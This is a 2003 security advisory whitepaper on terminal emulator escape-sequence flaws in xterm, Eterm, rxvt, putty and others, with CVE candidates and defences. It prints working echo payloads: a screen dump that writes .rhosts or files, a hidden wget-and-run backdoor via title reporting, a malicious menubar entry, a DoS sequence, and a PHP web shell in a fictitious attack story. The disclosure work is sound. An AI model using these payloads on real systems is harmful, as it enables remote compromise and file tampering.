Terminal Emulator Security Issues


TERMINAL EMULATOR SECURITY ISSUES Copyright © 2003 Digital Defense Incorporated All Rights Reserved [ Table of Contents ] -- Summary -- Disclaimer -- Escape Sequences -- Remote Exploitation -- Screen Dumping -- Window Title Reporting -- Miscellaneous Issues -- Terminal Defense -- Tested Emulator Versions -- Vulnerability Index -- A Fictitious Case Study -- References -- Credits [ Summary ] Many of the features supported by popular terminal emulator software can be abused when un-trusted data is displayed on the screen. The impact of this abuse can range from annoying screen garbage to a complete system compromise. All of the issues below are actually documented features, anyone who takes the time to read over the man pages or source code could use them to carry out an attack. [ Disclaimer ] There is nothing new in this paper. The entire concept of exploiting a terminal by supplying hostile input has been around for over 10 years now. Unix veterans and BBS users have been exposed to this type of problem since the very beginning, a newsgroup search can turn up all sorts of exploits, from the ever-popular "flash" program to the abuse of logging features in xterm which were disabled in R5. Therefore the purpose of this paper is to identify weaknesses in the current suite of popular terminal emulation software, not to rehash an ancient problem. [ Escape Sequences ] Typically, an escape sequence is a series of characters starting with the ASCII escape character (0x1B) and followed by a specific set of arguments. Escape sequences were originally used to control display devices such as dumb terminals and have been extended to allow various forms of interaction with modern operating systems. An escape sequence might be used to change text attributes (color, weight), move the cursor position, reconfigure the keyboard, update the window title, or manipulate the printer. Over the years, many new features have been added that required enhancements to the terminal emulator applications to support them. [ Remote Exploitation ] To exploit an escape sequence feature, an attacker must be able to display arbitrary data to the victim's terminal emulator. While at first glance that may seem rather unlikely, the attacker can take advantage of a number of small bugs in other applications to increase their chance of success. Just about every network service that uses syslog will pass remote data directly to the daemon without filtering the escape character. The responsibility then lays on the syslog daemon to strip the escape code before writing the log entry to the disk or terminal. Although both the stock *BSD syslog daemons as well the sysklogd package filter escape sequences, msyslog, syslog-ng, and the logging daemons supplied with many commercial UNIX-based operating systems do not. While sending data directly to a vulnerable syslogd or rwalld service is the most direct form of attack, there are literally dozens of other ways to place hostile binary data onto the terminal of a remote user. The Apache web server makes an effort to clean garbage from its access logs, but it still allows escape characters to be injected into the error logs. Many command-line network tools can be exploited by a hostile service response, some examples of this is include wget, curl, ftp, and telnet. Multi-user systems are especially vulnerable, as any user can send a system-wide message under the default configuration of most operating systems. Placing the attack data into the banner of a popular FTP server, telnet service, or message of the day file will increase the chance of finding a valid target. Certain console email clients refuse to display files when the content-type of an attachment is set to a unrecognized value, so the user must save the file and then read it on the command line, often just using the standard "cat" utility. [ Screen Dumping ] Eterm and rxvt both implement what they call the "screen dump" feature. This escape sequence will cause an arbitrary file to be opened and filled with the current contents of the terminal window. These are the only two tested emulators[1] that still had the ability to write to files enabled by default. Although rxvt will ignore dump requests for existing files, Eterm[2] will happily delete the file and then create it again. Although it is technically the same feature, the OSC code used to trigger it is different between the two emulators. For rxvt, the screen dump code is 55, for Eterm, it is 30. It is possible to control the entire contents of the file by specifying the reset sequence, then the required data, followed by the screen dump command. $ echo -e "\ec+ +\n\e]<Code>;/home/user/.rhosts\a" The same approach can be used to create an authorized_keys file for SSH, a replacement passwd file, or even a hostile PHP script written to the user's web directory. This attack requires no interaction on the part of the user and would be very difficult to detect if done correctly. The primary difference between this issue and some of the others mentioned in this paper is that the actual "exploitation" happens on the system running the emulator software, not the current system that the terminal is accessing. The code that is responsible for opening the dump file is shown below. /* rxvt */ if ((fd = open(str, O_RDWR | O_CREAT | O_EXCL, 0600)) >= 0) /* Eterm */ unlink(fname); outfd = open(fname, O_CREAT | O_EXCL | O_NDELAY | O_WRONLY, S_IRUSR | S_IWUSR); [1] XFree86's xterm disabled an equivalent feature in X11R5 due to security concerns. It can still be enabled with a compile-time option. [2] Eterm actually disabled this in 0.9.2 (October 31, 2002), however many recent Linux distributions still shipped with 0.9.1. [ Window Title Reporting ] One of the features which most terminal emulators support is the ability for the shell to set the title of the window using an escape sequence. This feature was originally implemented by DEC for DECterm and has since been added to most emulators in use today. The easy way to set the window title of a terminal is using the echo command: $ echo -e "\e]2;This is the new window title\a" When the output of the above command is displayed on the terminal, it will set the window title to that string. Setting the window title by itself is not much of a security issue, however certain xterm variants (and dtterm) also provide an escape sequence for reporting the current window title. This essentially takes the current title and places it directly on the command line. Due to the way that most emulators processes the escape sequence, it is not possible to embed a carriage return into the window title itself, so the user would need to hit enter for it to process the title as a command. The escape sequence for reporting the window title is: $ echo -e "\e[21t" At this point, the attacker needs to convince the user to hit enter for the "exploit" to succeed. There are a number of techniques available to both hide the command and encourage the user to "press enter to continue". The simplest is to just insert a prompt followed by the "invisible" character attribute right before reporting the title. Another method is to set the foreground and background colors to be the same (all black or white) and hope the user hits the enter key when trying to determine what happened. The following example for xterm demonstrates a sequence that downloads and executes a backdoor while hiding the command line. The "Press Enter >" string should be changed to something appropriate for the attack vector. Some likely candidates include "wget internal error: press enter to continue" or "Error: unknown TERM, hit enter to continue". $ echo -e "\e]2;;wget;sh .bd;exit;\a\e[21t\e]2;xterm\aPress Enter>\e[8m;" Any terminal emulator that allows the window title to be placed on the command-line is vulnerable to this attack. The applications which were confirmed vulnerable include xterm, dtterm, uxterm, rxvt, aterm, Eterm, hanterm, and putty[1]. The tested applications that did not allow the title to be written include gnome-terminal 2.0, konsole, SecureCRT, and aterm. [1] Although putty would place the title onto the command-line, we were not able to find a method of hiding the command, since neither the "invisible" character attribute nor the foreground color could be set. Putty has a relatively low limit to the number of characters that can be placed into the window title, so it is not possible to simply flood the screen with garbage and hope the command rolls past the current view. [ Miscellaneous Issues ] Eterm should be given an award for the "Easiest to Compromise" terminal emulator. The developers based much of their code off of the rxvt and xterm source, so Eterm tends to share the same problems as those two emulators as well. If you happen to be running a CVS version of Eterm from between February 10th and May 8th of 2001, it was possible to execute an arbitrary command just by displaying the following escape sequence: $ echo -e "\e]6;73;command\a" Fortunately, this feature never made it into an official release, the "fork-and-exec" ability was replaced by the script action spawn() instead. During the research process, a number of small bugs were found that would either lock up the emulator completely or crash it. Although they can be disregarded as simple denial of service attacks, they could be abused to prevent an administrator from seeing subsequent logs during a compromise. In general, the code which processed application- side input seemed to place little emphasis on sanitizing the data before passing it directly to system-level functions. While there was some effort made to avoid standard buffer overflows, much of the loop-based character processing appeared ripe for a denial of service attack. An example of this is a bug in the DEC UDK processing of XFree86's xterm application, the following command will place the process into a tight resource- eating loop: $ echo -e "\eP0;0|0A/17\x9c" This bug was reported to xfree86@xfree86.org on December 17th, 2002 and no response was received as of the publication of this writing. The hanterm application is also vulnerable to this issue, as the code base started off as a direct copy of xterm. Both rxvt and aterm support a feature known as the menuBar. This feature allows the user to create drop-down menus at the top of the terminal screen using both menu configuration files and escape sequences. Anyone able to display data on the terminal could modify the menu entries in a way that would compromise the system when accessed. This type of attack relies more on social engineering, but still provides a potential entry point when nothing else is available. The example below will create a new top-level menu item called "Special" with a single item labeled "Access", when clicked it will download and execute a backdoor from and exit the shell. $ echo -e "\e]10;[:/Special/{Access} wget\rsh bd\rexit\r:]\a\e]10;[show]\a" [ Terminal Defense ] The ideal solution is to sanitize all data before displaying it on your terminal, however without a custom terminal application or data filter, you can't guarantee that every tool you use on the command-line is going to strip escape sequences. The responsibility should rest on the actual terminal emulator; any features that allow file or command-line access should be disabled by default and more attention should be paid to new features that implement any use of escape sequences. The tested terminal emulators that were not susceptible to the screen dump or window title attacks include KDE's konsole, Gnome's gnome-terminal, Vandyke's SecureCRT, and Sasha Vasko's aterm. Konsole and gnome-terminal each use their own independent code-base and didn't try to support the same massive feature set as the others. SecureCRT took a similar approach, emulating just the minimum needed to be usable. With aterm, the code was originally based on rxvt, however many of the dangerous features were removed as the project progressed. [ Test Emulator Versions ] xterm: xf86 4.2.0 (patch 165) aterm: 0.42 rxvt: 2.7.8 Eterm: 0.9.1 konsole: 3.1.0 rc5 putty: 0.53 SecureCRT: 3.4.6 gnome-terminal: 2.0.2 (libzvt 2.0.1) [2.2 indirectly] hanterm-xf: 2.0 [ Vulnerability Index ] The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned CVE candidate namess for all issues described in this paper. CAN-2003-0020 Apache Error Log Escape Sequence Injection CAN-2003-0021 Screen Dump: Eterm CAN-2003-0022 Screen Dump: rxvt CAN-2003-0063 Window Title Reporting: xterm CAN-2003-0064 Window Title Reporting: dtterm CAN-2003-0065 Window Title Reporting: uxterm CAN-2003-0066 Window Title Reporting: rxvt CAN-2003-0067 Window Title Reporting: aterm CAN-2003-0068 Window Title Reporting: eterm CAN-2003-0069 Window Title Reporting: putty CAN-2003-0070 Window Title Reporting: gnome-terminal CAN-2003-0078 Window Title Reporting: hanterm-xf CAN-2003-0071 DEC UDK Processing DoS: xterm CAN-2003-0079 DEC UDK Processing DoS: hanterm-xf CAN-2003-0023 Menubar Manipulation: rxvt CAN-2003-0024 Menubar Manipulation: aterm [ A Fictitious Case Study ] Jim is the sole administrator for the web server farm at a moderately sized ISP. Most of his company's clients maintain their own sites and Jim's primary responsibility is to keep the web servers online and secured. Jim spends some of his spare time dabbling with PHP and uses his workstation as his development system. The workstation is on the same network segment as the rest of the servers and the firewall only allows TCP port 80 and 443 inbound. Jim has a new 2.5Ghz P4 and finally has enough processing power to run the Enlightenment window manager with all the tweaks. His favorite part about Enlightenment is the terminal emulator, Eterm, which lets him make the background transparent and do all sorts of imaging tricks. Jim keeps a tail process running for the error_log files on each server he manages, allowing him to easily spot script bugs and misconfigurations before the customer calls him to fix it. Andre is pissed. Some "friends" from his old hacking group have posted some embarrassing photos of him on the group's home page. The page is hosted in the ~user directory on a web server at some dinky ISP his old friend uses. He starts poking at the web server only to give up about 30 minutes later after failing to find a single vulnerable CGI or outdated service. He starts up Nmap again, this time on the whole class C that the web server resides in, determined to take down the entire subnet if he has to. He finds another web server, this one is running a traceroute gateway that is vulnerable to meta- character injection. Andre manages to get an outbound shell back to a bounce system and proceeds to poke around. He finds what appears to be an OpenSSH public key in the /tmp directory, named JimH.pub. Looking at the key file, he sees that the userid stored in it is for jim@jimsbox.weeisp.com. A quick check shows that jimsbox.weeisp.com not only resolves to an external address, but is also running a web server. The index page of Jim's web server consists of a couple pictures of him, some links to his favorite news sites, some screenshots of his new super-leet desktop, and some of his latest PHP projects. The first PHP project link Andre clicks on immediately starts spewing errors, complaining about not being able to connect to the database. The error message itself is interesting though, since it contains the full path to the script that triggered the error. Andre makes a quick note of this and keeps digging around, hoping for an easy entry point. As soon as he pulls up the desktop screen shots, he knows he struck gold. The screen shot not only shows a scantily clad Italian model in the background, but an Eterm open tailing the logs of the same server his pictures are being served from. He gets to work, hitting the workstation with every tool he can find, but an hour later he still hasn't busted a shell. While looking through the screen shots again, Andre gets the idea to look at the Eterm documentation and see what other features it supports. Not only is the documentation easy to read with plenty of examples, but it mentions an interesting feature described as a "screen dump". About two hours later, Andre finally manages to get Eterm and its 60 megabytes of support libraries compiled. He discovers that to force Eterm to write out a file, all he has to do is display a certain sequence of characters to the screen. The question now is how to get those characters onto that Eterm at 4:30 in the morning. After a quick review of the Apache source code, he finally finds a spot in the error handling code where he can inject arbitrary data into the log files. All he has to do is send a request for a file with the escape sequence he wants to use and Apache will write the unfiltered data directly to the log file. Now that he can write arbitrary files to the workstation, he has to find a method of using it to gain access. Andre is pretty sure that the workstation is running SSH, but the only ports available are 80 and 443. He remembers that the PHP errors he saw earlier provided the full path to the web root, if he can write files there, then he run commands through the web server. Five minutes later, Andre is connecting to the target web server and sending a GET request for a string generated with the following command: $ echo -e "\ec<?passthru($c);?>\e]30;/home/www/htdocs/owned.php\a" This command clears the current screen buffer, displays his hostile PHP code to the screen, and then uses the screen dump command to write it into the web root. He points his browser to http://jimsbox.weeisp.com/owned.php?c=id and starts the process of rooting Jim's workstation, stealing his SSH keys, and taking those horrid pictures (as well as the rest of the group's files) off of that web server. [ References ] This Paper and Associated Tools --- http://www.digitaldefense.net/labs/whitepapers.html --- http://www.digitaldefense.net/labs/securitytools.html Recognized Escape Sequences --- Eterm: http://www.eterm.org/docs/view.php?doc=ref --- xterm: http://rtfm.etla.org/xterm/ctlseq.html --- dtterm: http://hpc.uky.edu/cgi-bin/man.cgi?section=all&topic=dtterm --- rxvt: http://www.rxvt.org/refer/rxvtRef.html Solar Designer's Post on Syslog Filtering --- http://marc.theaimsgroup.com/?l=bugtraq&m=96938656931350 ADM's "The Evil Escape Sequences" --- http://www.attrition.org/security/advisory/ADM/adm.evil.esc.advisory AmigaOS Escape Sequence Exploits --- http://www.abraxis.co.uk/SA-2001-11-08.html MS-DOS/Windows Key Redefinition --- http://lists.insecure.org/lists/bugtraq/1994/Jul/0029.html Multiple Emulator Window Resize DoS --- http://archives.neohapsis.com/archives/bugtraq/2000-05/0409.html --- http://groups.google.com/groups?selm=E12zFeu-00075I-00%40ixion The Original "Flash" --- http://www.parallaxresearch.com/files/unix/exploits/flash.c --- http://groups.google.com/groups?selm=342k7c%243ne%40news.ysu.edu --- http://www.phrack-dont-give-a-shit-about-dmca.org/show.php?p=47&a=4 [ Credits ] This paper was written by H D Moore, with much help from the rest of the Digital Defense Operations Team. I would like to thank Solar Designer for providing some great feedback on the original draft and Mark Cox for handling the CVE candidate generation and vendor coordination.